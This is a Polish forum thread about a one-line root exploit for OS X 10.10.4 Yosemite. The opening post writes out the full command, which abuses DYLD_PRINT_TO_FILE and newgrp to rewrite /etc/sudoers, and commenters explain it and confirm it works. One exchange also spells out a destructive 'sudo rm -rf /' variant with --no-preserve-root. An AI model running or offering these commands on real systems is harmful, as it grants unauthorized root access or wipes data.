Root na Maku w jednej linijce, OS X 10.10 Yosemite jest bezbronny

eśli chcecie uzyskać roota w najnowszej stabilnej wersji OS X 10.10.4 Yosemite, wystarczy uruchomić powłokę systemową i wpisać następującą komendę: echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

[a.....t]

To się nazywa zaklęcie. Harry Potter przy tym wymięka ;)

[jeanpaul]

To się nazywa zaklęcie. Harry Potter przy tym wymięka ;)

@aksnet: jak dla kogo zaklecie, nie uzywam mak'a, w pracy siedze "przy windows" ale ta komenda to nic innego jak nadpisanie pliku okreslajacego kto i jak moze uzywac komendy sudo (wywolanie programu z poziomu root'a / administratora dla uzytkownikow widnows). Nowy plik zawiera prawa do wykonania wszystkich polecen bez hasla i nastepnei wywolanie konsoli dla root'a. Domyslam sie tylko celem potwierdzenia ze

[jeanpaul]

to w czym problem? Na czym polega bezbronność OSX? Mój Arch też "bezbronny" bo jako root mam dostęp do /etc/sudoers? Co pominąłem?

@Djuna: problem polega na tym ze ten program do drukowania nie powinien miec ustawionego setuid i byc wlasnoscia root'a. setuid pozwala na szybkie obejscie wszystkich zabezpieczen i tylko wybrane, dobrze sprawdzone programy,. ktore swoja funkcjonalnoscia nie pozwalaja na modyfikcaje wrazliwych elementow systemu moga dostac setuid.

Twoj arch jest bezpieczyn bo

[jaksiepatrzy]

Najnowszy exploit na Maka pokazuje, że zespół bezpieczeństwa Apple powinien jednak zająć się czymś prostszym, np. robieniem tapet.

napisał dziennikarz www.dobreprogramy.pl

[OMGiamSMURF]

@jaksiepatrzy: śmiechłem #bojowkaandroid tak bardzo #biedakicebulaki

[januszkarwasz]

o gurwa, faktycznie

[januszkarwasz]

@RuntimeException:
widać, "znak zachęty" zmienił się z '$' na '#', co oznacza uprawnienia roota; po drodze nie było promptu o hasło

[l.....e]

@januszkarwasz: u mnie też działa :D

[smk666]

#glupiepytanie
Na nowym macu użytkownik fabrycznie nie może w ogóle korzystać z uprawnień roota czy może chodzi tutaj tylko o potencjalny wektor ataku a su/sudo działa jak bozia przykazała na niegrzebanym OSXie?

[StayAlive]

@smk666: Bezpieczeństwo osx i linuxów (z resztą nie tylko bo unixów też) polega na tym (między innymi), że istnieje ścisła kontrola uprawnień - bez roota nic nie zrobisz. Tutaj atakujący ma otwartą furtkę.

Nawet taki żart był, że po wyciągnięciu wtyczki z sieci maszyna linuxowa powinna zapytać o uprawnienia roota, a jeśli ich brak - kontynuować pracę.

[t.....z]

Bezpieczeństwo osx i linuxów (z resztą nie tylko bo unixów też) polega na tym (między innymi), że istnieje ścisła kontrola uprawnień - bez roota nic nie zrobisz.

@StayAlive: W Windowsie, począwszy od Visty istnieje podobny mechanizm - User Account Control. Jednak znaczna część użytkowników to wyłącza, bo ciągłe potwierdzanie wykonania procedury wymagającej wyższych uprawnień ich irytuje. A potem dziwota, że pecety z Windowsem są zawirusowane.

[iksinski]

Słyszałem, że 'sudo rm -rf /' też działa.

[virgoerns]

@iksinski: Działa, ale tylko z --no-preserve-root.

[virgoerns]

@PeQ: rozwija się dokładnie do sudo rm -rf / --no-preserve-root

[m.....l]

widzisz curwa @ginden a jak Ci ostatnio o tym pisałem to mnie wyśmiałeś.
Głosuj sobie dalej na PO :/

[list86]

@marianbaczal:

[teraz_fred_wyrucha_was]

OS X to nie jest prawdziwy Linuks!!!one1elewen

[g.....i]

@teraz_fred_wyrucha_was:
Tak, bo jest prawdziwym Unixem - w przeciwieństwie do Linuxa ( ͡° ͜ʖ ͡°)

[teraz_fred_wyrucha_was]

@gacek_wilkooki: Uniksem prawdziwym też nie jest, bo, niestety, OS X to fork BSD oblepiony wielkimi brzydkimi blobami...

[list86]

ITT: kłótnie fanboyów maca z fanboyami windowsa. I nazywanie komputerów z windowsem "PC" a komputerów z osx "Mac". Śmiechłem nawet.

Tymczasem

[prusi]

Apple się stacza bez Jobsa skoro użytkownicy Maców muszą ściągać łatki na jądro z githuba XD

[p.....k]

ROK LINUXA!!!